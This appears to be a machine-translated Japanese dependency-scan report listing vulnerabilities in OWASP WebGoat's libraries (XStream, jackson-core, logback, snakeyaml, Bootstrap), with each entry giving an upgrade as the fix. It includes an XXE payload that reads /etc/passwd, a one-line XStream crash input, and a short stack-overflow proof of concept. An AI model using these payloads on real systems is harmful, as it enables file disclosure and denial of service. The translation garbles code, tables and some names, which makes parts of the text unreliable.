[com.thoughtworks.xstream:xstream](#) オブジェクトを XML にシリアル化し、また XML に戻すためのシンプルなライブラリです。(1) には複数の XML 外部エンティティ (XXE) の脆弱性があります。

XStream 1.4.9より前のバージョンの Dom4JDriver、(2) DomDriver、(3) JDomDriver、(4) JDom2Driver、(5) SjsxpDriver、(6) StandardStaxDriver、(7) WstxDriver ドライバでは、リモートの攻撃者が細工した XML 文書を介して任意のファイルを読み取ることができます。

### 詳細

XXE インジェクションは、XML 入力を解析するアプリケーションに対する攻撃の一形態です。XML は、人間と機械の両方が読める形式で文書をエンコードするための一連の規則を定義するマークアップ言語です。多くの XML プロセッサはデフォルトで、外部エンティティ (XML 処理中に逆参照され評価される URI) の指定を許可しています。XML 文書の解析中に、サーバーはリクエストを発行し、指定された URI のコンテンツを XML 文書内に含めることができます。

攻撃には、システム識別子の file: スキームまたは相対パスを使用して、パスワードや個人のユーザーデータなどの機密データが含まれる可能性のあるローカル ファイルを開示することが含まれる場合があります。

たとえば、以下は XML 要素 username を含むサンプル XML ドキュメントです。

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<username>ジョン</username>
</xml>
```

外部 XML エンティティ - xxe コンテンツ。システム識別子を使用して定義され、DOCTYPE ヘッダー内に存在する。これらのエンティティはローカルまたはリモートにアクセスできる。

例えば、以下のコードには /etc/passwd のコンテンツを取得し、それをユーザーに表示する外部 XML エンティティが含まれています。

ユーザー名。

```
<?xml version="1.0" encoding="ISO-8859-1"?> <!
DOCTYPE foo [ <!
ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<username>&xxe;</username>
</xml>
```

その他の XXE インジェクション攻撃は、データの返却を止めない可能性のあるローカル リソースにアクセスする可能性があり、アプリケーションの可用性に影響を与え、サービス拒否につながる可能性があります。

## 参考文献

- [ネバダ州](#)
- [OSSセキュリティ](#)
- [GitHubの問題](#)

[この脆弱性の詳細](#)

高重症度

## サービス拒否 (DoS)

- パッケージ マネージャー: maven
- 脆弱なモジュール: com.thoughtworks.xstream:xstream 導入元:
- org.owasp.webgoat:webgoat@2023.4 および com.thoughtworks.xstream:xstream@1.4.5

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

### 概要

[com.thoughtworks.xstream:xstream](#)オブジェクトを XML にシリアル化し、またその逆を行うシンプルなライブラリです。

このパッケージの影響を受けるバージョンは、サービス拒否 (DoS) 攻撃に対して脆弱です。特定の denyTypes 回避策が使用されていない場合、アンマーシャリング中にプリミティブ型「void」のインスタンスを作成しようとする試みが誤って処理され、リモートアプリケーションがクラッシュする可能性があります。これは、次の例で確認できます。

xstream.fromXML("<void/>")を呼び出します。

### 詳細

サービス拒否 (DoS) とは、対象となる正当なユーザーがシステムにアクセスできないようにすることを目的とした一連の攻撃を指します。

他の脆弱性とは異なり、DoS 攻撃は通常、セキュリティ侵害を目的としたものではありません。むしろ、正規のユーザーがウェブサイトやサービスを利用できないようにし、ダウンタイムを引き起こすことに重点を置いています。

よくあるサービス拒否の脆弱性の 1 つに DDoS (分散型サービス拒否) があります。これは、多数のマシンから大量のトラフィックを生成してシステムへのネットワーク パイプを詰ませようとする攻撃です。

オープンソース ライブラリの場合、DoS 脆弱性により、攻撃者はアプリケーション コードまたはオープンソース ライブラリの使用上の欠陥を利用して、サービスのクラッシュや機能停止を引き起こすことができます。

DoS 脆弱性の一般的な 2 つのタイプ:

- CPU/メモリ消費量の増大 - 攻撃者はシステムの処理に過度な時間を要する可能性のある細工されたリクエストを送信します。例: commons-fileupload:commons-fileupload。
- クラッシュ - 攻撃者が細工したリクエストを送信し、システムをクラッシュさせる。例えば、[npm ws/パッケージ](#)

### 修復

com.thoughtworks.xstream:xstream をバージョン 1.4.10 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [GitHubコミット](#)
- [GitHubコミット](#)
- [ネバダ州](#)
- [ベンダーとバイザリ](#)

[この脆弱性の詳細](#)

高重症度

## 信頼できないデータのデシリアライズ

- パッケージ マネージャー: maven
- 脆弱なモジュール: com.thoughtworks.xstream:xstream 導入元:
- org.owasp.webgoat:webgoat@2023.4 および com.thoughtworks.xstream:xstream@1.4.5

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

### 概要

[com.thoughtworks.xstream:xstream](#)オブジェクトを XML にシリアル化し、またはその逆を行なうシンプルなライブラリです。

このバージョンの影響を受けるバージョンは、操作されたバイナリ入力ストリームによる信頼できないデータのデシリアライゼーションに対して脆弱です。攻撃者は、処理された入力ストリームを操作してスタックオーバーフローを発生させ、サービス拒否攻撃を引き起こすことでアプリケーションを終了させることができます。

バイナリストリームドライバ。

## 回避策

この脆弱性は、XStream を呼び出すクライアント コードで StackOverflowError をキャッチすることで軽減できます。

### 概念実証

操作されたデータを準備し、BinaryDriver を使用して XStream インスタンスの入力として提供します。

```
最終的なbyte[] byteArray = new byte[36000]; for
    (int i = 0; i < byteArray.length / 4; i++) { byteArray[i * 4] =
        10; byteArray[i * 4 + 1] =
        -127; byteArray[i * 4 + 2] = 0;
        byteArray[i * 4 + 3] = 0;

    }

XStream xstream = 新しい XStream(新しい BinaryStreamDriver());
xstream.fromXML(新しい ByteArrayInputStream(byteArray));
```

データがアンマーシャルされるとすぐに、無限再帰が開始され、実行中のスレッドはスタック オーバーフロー エラーで中止されます。

## 詳細

シリアル化とは、オブジェクトをディスクやデータベースに保存したり、ストリームを通じて送信したりできるバイト シーケンスに変換するプロセスです。バイト列からオブジェクトを作成する逆のプロセスは、デシリアライゼーションと呼ばれます。シリアル化は、通信（複数のホスト間でオブジェクトを共有する）や永続化（オブジェクトの状態をファイルやデータベースに保存する）によく使用されます。これは、Remote Method Invocation (RMI)、Java Management Extension (JMX)、Java Messaging System (JMS)、Action Message Format (AMF)、Java Server Faces (JSF)といった一般的なプロトコルに不可欠な要素です。ViewStateなど

信頼できないデータのデシリアライゼーション ([CWE-502](#)) は、アプリケーションが信頼できないデータをデシリアライズする際に、結果のデータが有効であることを十分に検証せずに、攻撃者が実行の状態やフローを制御できるようにすることです。

## 修復

com.thoughtworks.xstream:xstream をバージョン 1.4.21 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [GitHubコミット](#)
- [XStreamアドバイザリ](#)

[この脆弱性の詳細](#)

高重症度

## スタックベースのバッファオーバーフロー

- パッケージ マネージャー: maven
- 脆弱なモジュール: com.fasterxml.jackson.core:jackson-core 導入元:
- org.owasp.webgoat:webgoat@2023.4,com.github.tomakehurst:wiremock@2.27.2 など

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > com.github.tomakehurst:wiremock@2.27.2 > com.fasterxml.jackson.core:jackson-core@2.13.3

## 概要

[com.fasterxml.jackson.core:jackson-core](#)コアジャクソン抽象化、基本的なJSONストリーミングAPI実装

このバージョンの影響を受けるバージョンは、深くネストされたデータを含む無制限の入力ファイルを受け入れる解析プロセスに起因するスタックベース・バッファ・オーバーフローの脆弱性を有します。攻撃者は、過度に深いネストを持つ入力ファイルを提供することで、スタックオーバーフローを引き起こし、アプリケーションをクラッシュさせる可能性があります。

## 修復

com.fasterxml.jackson.core:jackson-coreをバージョン 2.15.0-rc1 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [GitHub の PR](#)

[この脆弱性の詳細](#)

高重症度

## サービス拒否 (DoS)

- パッケージマネージャー: maven

- 脆弱なモジュール: com.fasterxml.jackson.core:jackson-core 導入元:
- org.owasp.webgoat:webgoat@2023.4,com.github.tomakehurst:wiremock@2.27.2 など

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4, com.github.tomakehurst:wiremock@2.27.2, com.fasterxml.jackson.core:jackson-core@2.13.3

## 概要

[com.fasterxml.jackson.core:jackson-core](#) コアジャクソン抽象化、基本的なJSONストリーミングAPI実装

このパッケージの影響を受けるバージョンは、数値型変換時の入力サイズ検証が不十分なため、サービス拒否 (DoS) 攻撃の脆弱性があります。リモート攻撃者は、この脆弱性を悪用して、アプリケーションに特定の大きな数値型を含むデータをデシリアライズさせ、利用可能なリソースをすべて使い果たす可能性があります。

## 詳細

サービス拒否 (DoS) とは、対象となる正当なユーザーがシステムにアクセスできないようにすることを目的とした一連の攻撃を指します。

他の脆弱性とは異なり、DoS 攻撃は通常、セキュリティ侵害を目的としたものではありません。むしろ、正規のユーザーがウェブサイトやサービスを利用できないようにし、ダウンタイムを引き起こすことに重点を置いています。

よくあるサービス拒否の脆弱性の 1 つに DDoS (分散型サービス拒否) があります。これは、多数のマシンから大量のトラフィックを生成してシステムへのネットワーク パイプを詰ませようとする攻撃です。

オープンソース ライブラリの場合、DoS 脆弱性により、攻撃者はアプリケーション コードまたはオープンソース ライブラリの使用上の欠陥を利用して、サービスのクラッシュや機能停止を引き起こすことができます。

DoS 脆弱性の一般的な 2 つのタイプ:

- CPU/メモリ消費量の増大 - 攻撃者は、システムの処理に過度な時間を要する可能性のある細工されたリクエストを送信します。例: [commons-fileupload:commons-fileupload](#)。
- クラッシュ - 攻撃者が細工したリクエストを送信し、システムをクラッシュさせる。例えば、[npm ws/パッケージ](#)

## 修復

com.fasterxml.jackson.core:jackson-core をバージョン 2.15.0-rc1 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [GitHubの問題](#)
- [GitHub の PR](#)

[この脆弱性の詳細](#)

高重症度

## サービス拒否 (DoS)

- パッケージ マネージャー: maven
- 脆弱なモジュール: ch.qos.logback:logback-core 導入元:
- org.owasp.webgoat:webgoat@2023.4,org.springframework.boot:spring-boot-starter-validation@2.7.1 など

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-validation@2.7.1, org.springframework.boot:spring-boot-starter@2.7.1, org.springframework.boot:spring-boot-starter-logging@2.7.1, ch.qos.logback:logback-classic@1.2.11, ch.qos.logback:logback-core@1.2.11

## 概要

[ch.qos.logback:logback-core](#) logback-core モジュールです。

このパッケージの影響を受けるバージョンは、サービス拒否 (DoS) の脆弱性を有します。攻撃者は、汚染されたデータを送信することで、サービス拒否攻撃を仕掛けることができます。これは、ログバック レシーバー コンポーネントがデプロイされている場合にのみ悪用可能です。

## 詳細

サービス拒否 (DoS) とは、対象となる正当なユーザーがシステムにアクセスできないようにすることを目的とした一連の攻撃を指します。

他の脆弱性とは異なり、DoS 攻撃は通常、セキュリティ侵害を目的としたものではありません。むしろ、正規のユーザーがウェブサイトやサービスを利用できないようにし、ダウンタイムを引き起こすことに重点を置いています。

よくあるサービス拒否の脆弱性の 1 つに DDoS (分散型サービス拒否) があります。これは、多数のマシンから大量のトラフィックを生成してシステムへのネットワーク パイプを詰ませようとする攻撃です。

オープンソース ライブラリの場合、DoS 脆弱性により、攻撃者はアプリケーション コードまたはオープンソース ライブラリの使用上の欠陥を利用して、サービスのクラッシュや機能停止を引き起こすことができます。

DoS 脆弱性の一般的な 2 つのタイプ:

- CPU/メモリ消費量の増大 - 攻撃者は、システムの処理に過度な時間を要する可能性のある細工されたリクエストを送信します。例: [commons-fileupload:commons-fileupload](#)。
- クラッシュ - 攻撃者が細工したリクエストを送信し、システムをクラッシュさせる。例えば、[npm ws/パッケージ](#)

## 修復

ch.qos.logback:logback-core をバージョン 1.2.13, 1.3.12, 1.4.12 以上にアップグレードします。

## 参考文献

- [変更履歴](#)
- [GitHubコミット](#)
- [GitHubコミット](#)
- [GitHubコミット](#)

[この脆弱性の詳細](#)

高重症度

## 制御されていないリソース消費（「リソース枯渇」）

- パッケージ マネージャー: maven
- 脆弱なモジュール: ch.qos.logback:logback-core 導入元:
- org.owasp.webgoat:webgoat@2023.4.org.springframework.boot:spring-boot-starter-validation@2.7.1 など

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > org.springframework.boot:spring-boot-starter-validation@2.7.1 > org.springframework.boot:spring-boot-starter@2.7.1 > org.springframework.boot:spring-boot-starter-logging@2.7.1 > ch.qos.logback:logback-classic@1.2.11 > ch.qos.logback:logback-core@1.2.11

## 概要

[ch.qos.logback:logback-core](#) logback-core モジュールです。

このパッケージの影響を受けるバージョンは、ログバック受信コンポーネントを介した制御不能なリソース消費（「リソース枯渇」）の脆弱性を有しています。攻撃者は、汚染されたデータを送信することで、サービス拒否攻撃を仕掛けることができます。

注記：

悪用を成功させるには、logback-receiver コンポーネントが有効になっており、攻撃者がアクセスできる必要があります。

## 修復

ch.qos.logback:logback-coreをバージョン 1.2.13、1.3.14、1.4.14 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [GitHubコミット](#)
- [GitHubコミット](#)
- [リリースノート](#)
- [リリースノート](#)

[この脆弱性の詳細](#)

高重症度

## サービス拒否 (DoS)

- パッケージ マネージャー: maven
- 脆弱なモジュール: ch.qos.logback:logback-classic 導入元:
- org.owasp.webgoat:webgoat@2023.4.org.springframework.boot:spring-boot-starter-validation@2.7.1 など

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > org.springframework.boot:spring-boot-starter-validation@2.7.1 > org.springframework.boot:spring-boot-starter@2.7.1 > org.springframework.boot:spring-boot-starter-logging@2.7.1 > ch.qos.logback:logback-classic@1.2.11

## 概要

[ch.qos.logback:logback-classic](#) は、信頼性が高く、汎用的で、高速かつ柔軟な Java 用ログ ライブリヤーです。

このパッケージの影響を受けるバージョンは、サービス拒否 (DoS) の脆弱性を有します。攻撃者は、汚染されたデータを送信することで、サービス拒否攻撃を仕掛けることができます。

これは、ログバック レシーバー コンポーネントがデプロイされている場合にのみ悪用可能です。

## 詳細

サービス拒否 (DoS) とは、対象となる正当なユーザーがシステムにアクセスできないようにすることを目的とした一連の攻撃を指します。

他の脆弱性とは異なり、DoS 攻撃は通常、セキュリティ侵害を目的としたものではありません。むしろ、正規のユーザーがウェブサイトやサービスを利用できないようにし、ダウンタイムを引き起こすことに重点を置いています。

よくあるサービス拒否の脆弱性の 1 つに DDoS (分散型サービス拒否) があります。これは、多数のマシンから大量のトラフィックを生成してシステムへのネットワーク バイプを詰ませようとする攻撃です。

オープンソース ライブリヤーの場合、DoS 脆弱性により、攻撃者はアプリケーション コードまたはオープンソース ライブリヤーの使用上の欠陥を利用して、サービスのクラッシュや機能停止を引き起こすことができます。

DoS 脆弱性の一般的な 2 つのタイプ:

- CPU/メモリ消費量の増大 - 攻撃者は、システムの処理に過度な時間を要する可能性のある細工されたリクエストを送信します。例：[commons-fileupload:commons-fileupload](#)。
- クラッシュ - 攻撃者が細工したリクエストを送信し、システムをクラッシュさせる。例えば、[npm ws パッケージ](#)

## 修復

ch.qos.logback:logback-classicをバージョン 1.2.13、1.3.12、1.4.12 以上にアップグレードします。

## 参考文献

- [変更履歴](#)
- [GitHubコミット](#)
- [GitHubコミット](#)
- [GitHubコミット](#)

[この脆弱性の詳細](#)

高重症度

## 制御されていないリソース消費（「リソース枯渇」）

- パッケージ マネージャー: maven
- 脆弱なモジュール: ch.qos.logback:logback-classic 導入元: org.owasp.webgoat:webgoat@2023.4、org.springframework.boot:spring-boot-starter-validation@2.7.1 など

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4、org.springframework.boot:spring-boot-starter-validation@2.7.1、org.springframework.boot:spring-boot-starter@2.7.1、org.springframework.boot:spring-boot-starter-logging@2.7.1、ch.qos.logback:logback-classic@1.2.11

### 概要

ch.qos.logback:logback-classicは、信頼性が高く、汎用的で、高速かつ柔軟な Java 用ログ ライブライアリです。

このパッケージの影響を受けるバージョンは、ログバック受信コンポーネントを介した制御不能なリソース消費（「リソース枯渇」）の脆弱性を有しています。攻撃者は、汚染されたデータを送信することで、サービス拒否攻撃を仕掛けることができます。

注記：

悪用を成功させるには、logback-receiver コンポーネントが有効になっており、攻撃者がアクセスできる必要があります。

## 修復

ch.qos.logback:logback-classicをバージョン 1.2.13、1.3.14、1.4.14 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [GitHubコミット](#)
- [GitHubコミット](#)
- [リリースノート](#)
- [リリースノート](#)

[この脆弱性の詳細](#)

中程度の深刻度

## スタックベースのバッファオーバーフロー

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.yaml:snakeyaml 導入元: org.owasp.webgoat:webgoat@2023.4、org.springframework.boot:spring-boot-starter-validation@2.7.1 など

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4、org.springframework.boot:spring-boot-starter-validation@2.7.1、org.springframework.boot:spring-boot-starter@2.7.1、org.yaml:snakeyaml@1.30

### 概要

org.yaml:snakeyamlは、Java 用の YAML 1.1 パーサーおよびエミッターです。

このパッケージの影響を受けるバージョンは、細工された信頼できない YAML ファイルを解析するときにスタックベースのバッファ オーバーフローに対して脆弱であり、サービス拒否につながる可能性があります。

## 修復

org.yaml:snakeyaml をバージョン 1.31 以上にアップグレードします。

## 参考文献

- [Bitbucketコミット](#)
- [Bitbucketの問題](#)
- [Chromiumのバグ](#)

[この脆弱性の詳細](#)

中程度の深刻度

## 任意のコード実行

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.yaml:snakeyaml 導入元:
- org.owasp.webgoat:webgoat@2023.4,org.springframework.boot:spring-boot-starter-validation@2.7.1 など

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-validation@2.7.1, org.springframework.boot:spring-boot-starter@2.7.1, org.yaml:snakeyaml@1.30

### 概要

[org.yaml:snakeyaml](#)は、Java 用の YAML 1.1 パーサーおよびエミッターです。

このパッケージの影響を受けるバージョンは、Constructor クラスにおいて任意のコード実行の脆弱性を有しています。このクラスは、デシリアライズ可能な型を制限していません。この脆弱性は、SafeConstructor クラスを回避する悪意のある YAML ファイルをデシリアライズに提供することで、攻撃者によって悪用される可能性があります。

ライブラリの管理者は、アプリケーションの信頼性がすでに損なわれるか確立される必要があると主張し、そのため、悪用のハードルが高いことを理由に、この問題に関するリスクに異議を唱えています。

### 修復

org.yaml:snakeyaml をバージョン 2.0 以上にアップグレードします。

### 参考文献

- [BitBucket の変更履歴](#)
- [Bitbucket コミット](#)
- [Bitbucket の問題](#)
- [BitBucket の問題](#)
- [ビットパケット広報](#)
- [ビットパケット広報](#)
- [概念実証](#)
- [Snyk ブログ - 技術的な詳細](#)
- [脆弱層](#)

[この脆弱性の詳細](#)

中程度の深刻度

## クロスサイトスクリプティング (XSS)

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.webjars:bootstrap 導入元:
- org.owasp.webgoat:webgoat@2023.4 および org.webjars:bootstrap@3.3.7

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4, org.webjars:bootstrap@3.3.7

### 概要

[org.webjars:ポートストラップ](#) Bootstrap 用の WebJar です。

このパッケージの影響を受けるバージョンは、データテンプレートのツールチップ/ポップオーバーでクロスサイトスクリプティング (XSS) に対して、データコンテンツとデータタイトルのプロパティ脆弱です。

### 詳細

クロスサイトスクリプティング (XSS) は、攻撃者が信頼できるウェブサイトに悪意のあるスクリプトを「挿入」することで発生するコードの脆弱性です。挿入されたスクリプトは、エンドユーザーが侵害されたウェブサイトにアクセスした際に、ブラウザによってダウンロードされ、実行されます。

これはウェブアプリケーションのコンテキストをエスケープすることで実現されます。ウェブアプリケーションは、そのデータを他の信頼できる動的コンテンツと共に、検証することなくユーザーに配信します。ブラウザは、通常はブラウザの同一生成元ポリシーによってブロックされるアクションを実行するために、クライアント側（クライアント側言語、通常はJavaScriptまたはHTMLを介して）悪意のあるスクリプトを無意識のうちに実行します。

悪意のあるコードの挿入は、XSS を悪用する最も一般的な方法です。このため、この操作を防ぐために文字をエスケープすることが、この脆弱性に対してコードを保護するための最善の方法です。

エスケープとは、アプリケーションがキー文字、特にユーザー入力に含まれるキー文字をマークするようにコーディングし、それらの文字が危険なコンテキストで解釈されるのを防ぐことを意味します。例えばHTMLでは、<は<&lt;、>は>&gt;とコーディングすることで、テキスト内ではキー文字として解釈・表示されますが、コード内ではHTMLタグとして使用されます。特殊文字をエスケープするアプリケーションに悪意のあるコンテンツが挿入され、その悪意のあるコンテンツが<>をHTMLタグとして使用している場合、アプリケーションコード内で正しくエスケープされていれば、ブラウザはそれらの文字をHTMLタグとして解釈せず、攻撃を回避します。

XSS の最も顕著な用途は、Cookie を盗むこと（出典: OWASP HttpOnly）とユーザー セッションの乗っ取りですが、XSS エクスプロイトは機密情報を公開したり、特権サービスや機能へのアクセスを可能にしたり、マルウェアを配信したりするために使用されました。

### 攻撃の種類

XSS を操作する方法はいくつかあります。

タイプ	起源の説明
ブ： StoredServer 攻撃者によって悪意のあるコードがアプリケーションに（通常はリンクとして）挿入されます。このコードは、ユーザーがリンクをクリックするたびに実行されます。	
ReflectedServer攻撃者は、脆弱なウェブサイトアプリケーションから悪意のあるリンクを外部に送り、ユーザーに悪意のあるリンクを配信します。クリックすると、悪意のあるコードが脆弱な Web サイトに送信され、その攻撃がユーザーのブラウザに反映されます。	
DOM- クライアント攻撃者はユーザーのブラウザに悪意のあるページを表示させます。ページ自体のデータはクロスプラットフォームで動作します。	
ベース サイト スクリプティング データ。	
攻撃者は安全に見えるコードを挿入しますが、マークアップを解析する際にブラウザによって書き換えられ、変更されます。たとえば、閉じられていない引用符のバランスを調整したり、引用符で囲まれていないパラメータに引用符を追加したりします。	
<b>影響を受ける環境</b>	
次の環境は XSS 攻撃の影響を受けやすいです。	
<ul style="list-style-type: none"><li>ウェブサーバー</li><li>アプリケーションサーバー</li><li>Web アプリケーション環境</li></ul>	
<b>予防方法</b>	
このセクションでは、特にコードを保護するために設計されたトップのベスト プラクティスについて説明します。	
<ul style="list-style-type: none"><li>HTTP リクエストに入力されたデータを反映する前にサニタイズし、検索時のクエリ パラメータの値など、ユーザーに何かをエコーする前にすべてのデータが検証、フィルタリング、またはエスケープされていることを確認します。</li><li>? /などの特殊文字を変換し、ユーザーにクライアント側スクリプト、&lt; &gt;およびスペースを、それぞれ HTML または URL でエンコードされた同等の値に変換します。</li><li>を無効にするオプションを提供します。</li><li>無効なリクエストをリダイレクトします。</li><li>2 つの異なる IP アドレスからのログインを含む同時ログインを検出し、それらのセッションを無効にします。</li><li>コンテンツ セキュリティ ポリシー (出典: Wikipedia) を使用して適用し、XSS 攻撃のために操作される可能性のある機能を無効にします。</li><li>コード内で参照されているライブラリのドキュメントを読んで、埋め込み HTML を許可する要素を理解してください。</li></ul>	
<b>修復</b>	
org.webjars:bootstrap をバージョン 3.4.1、4.3.1 以上にアップグレードします。	
<b>参考文献</b>	
<ul style="list-style-type: none"><li><a href="#">Bootstrap ブログ</a></li><li><a href="#">GitHub コミット</a></li><li><a href="#">GitHub コミット</a></li><li><a href="#">GitHub の問題</a></li></ul>	
<a href="#">この脆弱性の詳細</a>	

中程度の深刻度	
<b>クロスサイトスクリプティング (XSS)</b>	
<ul style="list-style-type: none"><li>パッケージ マネージャー: maven</li><li>脆弱なモジュール: org.webjars:bootstrap 導入元:</li><li>org.owasp.webgoat:webgoat@2023.4 および org.webjars:bootstrap@3.3.7</li></ul>	
<b>詳細なパス</b>	
<ul style="list-style-type: none"><li>導入元: org.owasp.webgoat:webgoat@2023.4 &gt; org.webjars:bootstrap@3.3.7</li></ul>	
<b>概要</b>	
<p>org.webjars:ポートストラップBootstrap 用の WebJar です。</p> <p>このパッケージの影響を受けるバージョンは、ツールチップ経由のクロスサイトスクリプティング (XSS) に対して脆弱です。</p> <p>折りたたみおよびスクロールスパイプラグイン。</p>	
<b>詳細</b>	
<p>クロスサイトスクリプティング (XSS) は、攻撃者が信頼できるウェブサイトに悪意のあるスクリプトを「挿入」することで発生するコードの脆弱性です。挿入されたスクリプトは、エンドユーザーが侵害されたウェブサイトにアクセスした際に、ブラウザによってダウンロードされ、実行されます。</p> <p>これはウェブアプリケーションのコンテキストをエスケープすることで実現されます。ウェブアプリケーションは、そのデータを他の信頼できる動的コンテンツと共に、検証することなくユーザーに配信します。ブラウザは、通常はブラウザの同一生成元ポリシーによってブロックされるアクションを実行するために、クライアント側で（クライアント側言語、通常はJavaScriptまたはHTMLを介して）悪意のあるスクリプトを無意識のうちに実行します。</p> <p>悪意のあるコードの挿入は、XSS を悪用する最も一般的な方法です。このため、この操作を防ぐために文字をエスケープすることが、この脆弱性に対してコードを保護するための最善の方法です。</p> <p>エスケープとは、アプリケーションがキー文字、特にユーザー入力に含まれるキー文字をマークするようにコーディングし、それらの文字が危険なコンテキストで解釈されるのを防ぐことを意味します。例えばHTMLでは、&lt;=&amp;lt; ;、&gt;=&amp;gt; ; とコーディングすることで、テキスト内ではキー文字として解釈・表示されますが、コード内ではHTMLタグとして使用されます。特殊文字をエスケープするアプリケーションに悪意のあるコンテンツが挿入され、その悪意のあるコンテンツが&lt;&gt; をHTMLタグとして使用している場合、アプリケーションコード内で正しくエスケープされていれば、ブラウザはそれらの文字をHTMLタグとして解釈せず、攻撃を回避します。</p>	
XSS の最も顕著な用途は、Cookie を盗むこと (出典: OWASP HttpOnly) とユーザー セッションの乗っ取りですが、XSS エクスプロイトは機密情報を公開したり、特権サービスや機能へのアクセスを可能にしたり、マルウェアを配信したりするために使用されてきました。	
<b>攻撃の種類</b>	
XSS を操作する方法はいくつかあります。	
タイプ	起源の説明
悪意のあるコードは、攻撃者によってアプリケーションに（通常はリンクとして）挿入されます。このコードは、ユーザーがリンクをクリックします。	

タイプ	起源の説明
ReflectedServer攻撃者は、脆弱なウェブサイトアプリケーションから外部に悪意のあるリンクをユーザーに配信します。クリックすると、悪意のあるコードが脆弱なWebサイトに送信され、その攻撃がユーザーのブラウザに反映されます。	
DOM- クライアント攻撃者はユーザーのブラウザに悪意のあるページを表示させます。ページ自体のデータはクロスプラットフォームで動作します。	
ベース サイトスクリプティングデータ。	

攻撃者は安全に見えるコードを挿入しますが、マークアップを解析する際にブラウザによって書き換えられ、変更されます。

たとえば、閉じられていない引用符のバランスを調整したり、引用符で囲まれていないパラメータに引用符を追加したりします。

#### 影響を受ける環境

次の環境は XSS 攻撃の影響を受けやすいです。

- ウェブサーバー
- アプリケーションサーバー
- Web アプリケーション環境

#### 予防方法

このセクションでは、特にコードを保護するために設計されたトップのベスト プラクティスについて説明します。

- HTTPリクエストに入力されたデータを反映する前にサニタイズし、検索時のクエリ パラメータの値など、ユーザーに何かをエコーする前にすべてのデータが検証、フィルタリング、またはエスケープされていることを確認します。
- ? /などの特殊文字を変換し、ユーザーにクライアント側スクリプトを < > およびスペースを、それぞれ HTML または URL でエンコードされた同等の値に変換します。
- 無効にするオプションを提供します。
- 無効なリクエストをリダイレクトします。
- 2つの異なるIPアドレスからのログインを含む同時ログインを検出し、それらのセッションを無効にします。
- コンテンツセキュリティポリシー (出典: Wikipedia) を使用して適用し、XSS 攻撃のために操作される可能性のある機能を無効にします。
- コード内で参照されているライブラリのドキュメントを読んで、埋め込み HTML を許可する要素を理解してください。

#### 修復

org.webjars:bootstrap をバージョン 3.4.0-4.1.2 以上にアップグレードします。

#### 参考文献

- [Bootstrap ブログ](#)
- [GitHubコミット](#)
- [GitHubコミット](#)
- [GitHubコミット](#)
- [GitHubコミット](#)
- [GitHubの問題](#)
- [GitHubの問題](#)
- [GitHubの問題](#)
- [GitHubの問題](#)
- [GitHub の PR](#)

[この脆弱性の詳細](#)

中程度の深刻度

## クロスサイトスクリプティング (XSS)

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.webjars:bootstrap 導入元:
- org.owasp.webgoat:webgoat@2023.4 および org.webjars:bootstrap@3.3.7

#### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4, org.webjars:bootstrap@3.3.7

#### 概要

[org.webjars:ポートストラップBootstrap](#) 用の WebJar です。

このパッケージの影響を受けるバージョンは、ツールチップの data-viewport 属性を介してクロスサイトスクリプティング (XSS) に対して脆弱です。

#### 詳細

クロスサイトスクリプティング (XSS) は、攻撃者が信頼できるウェブサイトに悪意のあるスクリプトを「挿入」することで発生するコードの脆弱性です。挿入されたスクリプトは、エンドユーザーが侵害されたウェブサイトにアクセスした際に、ブラウザによってダウンロードされ、実行されます。

これはウェブアプリケーションのコンテキストをエスケープすることで実現されます。ウェブアプリケーションは、そのデータを他の信頼できる動的コンテンツと共に、検証することなくユーザーに配信します。ブラウザは、通常はブラウザの同一生成元ポリシーによってブロックされるアクションを実行するために、クライアント側で（クライアント側言語、通常は JavaScript または HTML を介して）悪意のあるスクリプトを無意識のうちに実行します。

悪意のあるコードの挿入は、XSS を悪用する最も一般的な方法です。このため、この操作を防ぐために文字をエスケープすることが、この脆弱性に対してコードを保護するための最善の方法です。

エスケープとは、アプリケーションがキー文字、特にユーザー入力に含まれるキー文字をマークするようにコーディングし、それらの文字が危険なコンテキストで解釈されるのを防ぐことを意味します。例えば HTML では、< は &lt; ; > は &gt; ; とコーディングすることで、テキスト内ではキー文字として解釈・表示されますが、コード内では HTML タグとして使用されます。特殊文字をエスケープするアプリケーションに悪意のあるコンテンツが挿入され、その悪意のあるコンテンツが <> を HTML タグとして使用している場合、アプリケーションコード内で正しくエスケープされていれば、ブラウザはそれらの文字を HTML タグとして解釈せず、攻撃を回避します。

XSS の最も顕著な用途は、Cookie を盗むこと (出典: OWASP HttpOnly) とユーザー セッションの乗っ取りですが、XSS エクスプロイトは機密情報を公開したり、特権サービスや機能へのアクセスを可能にしたり、マルウェアを配信したりするために使用されてきました。

#### 攻撃の種類

XSS を操作する方法はいくつかあります。

ブ : StoredServer 攻撃者によって悪意のあるコードがアプリケーションに（通常はリンクとして）挿入されます。このコードは、ユーザーがリンクをクリックするたびに実行されます。

